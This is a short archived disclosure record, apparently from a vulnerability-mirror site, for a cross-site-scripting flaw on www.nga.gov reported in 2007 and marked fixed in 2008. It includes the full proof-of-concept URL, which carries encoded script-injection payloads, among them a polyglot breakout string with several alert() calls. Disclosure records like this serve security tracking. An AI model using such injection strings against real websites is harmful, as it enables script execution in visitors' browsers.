Security researcher The_Flash, has submitted on 01/06/2007 a cross-site-scripting (XSS) vulnerability affecting www.nga.gov, which at the time of submission ranked 52503 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 01/06/2007. It is currently fixed. |
Date submitted: 01/06/2007 |
Date published: 01/06/2007 |
Date fixed: 14/01/2008 | Status: FIXED |
Author: The_Flash |
Domain: www.nga.gov |
Category: XSS |
Pagerank: 52503 |
URL: http://www.nga.gov/cgi-bin/htsearch?sort=score&words=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3 E&submit=Search&restrict=%27%3Balert%280%29%2F%2F%5C%27%3Balert%281%29%2F%2F%22%3Balert%282%29%2F%2F %5C%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%284%29%3C%2FSCRIPT%3E%3 D%26%7B%7D%22%29%3B%7Dalert%286%29%3Bfunction%7Cxss%28%29%7B%2F%2F&exclude= |
Click here to view the mirror
|
|
|